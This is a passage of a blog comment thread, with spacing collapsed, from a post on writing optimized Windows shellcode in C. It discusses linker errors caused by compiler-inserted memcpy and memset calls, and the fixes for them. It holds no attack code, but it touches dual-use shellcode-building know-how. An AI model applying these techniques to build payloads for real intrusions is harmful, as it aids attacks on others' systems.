symbol_memcpy".Ineverusedthatfunctionmyself.
char*p1
char*p2
dwordlen

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 9/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
...
len=...
MyFunction(p1,p2,len)
WhenreplacingMyFunctionwith
MyFunction(p1,p2,10)
Theproblemwassolved.Irewrotethecodeinotherwaysbutalwaysigotthesameerrorsomewhere.
Disabeling "Whole program optimization" solved the problem, so i suppose the compiler used the memcpy somewhere to
optimisemycode...

Reply

Replies

MattGraeber April2,2014at12:42PM

Thanksforlettingmeknow.Sometimesthiscanbeatrialanderrorprocess.Forexample,Iwasoriginallygettinga
linkererrorfor_memsetuntilIstartedusingSecureZeroMemorytoinitializestackvariables.

Onepossiblesolutionwouldbetoimplementyourownversionofmemcpy,compiletheobjfile,andprovidethatfile
tothelinker.

Cheers,
Matt

Reply

Enteryourcomment...

Commentas: Unknown(Google) Signout


Publish Preview Notifyme

Linkstothispost
CreateaLink

NewerPost Home OlderPost

Subscribeto:PostComments(Atom)

ThisworkbyMatthewGraeberislicensedunderaCreativeCommonsAttribution3.0UnportedLicense.

PictureWindowtemplate.PoweredbyBlogger.

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 10/10

Potrebbero piacerti anche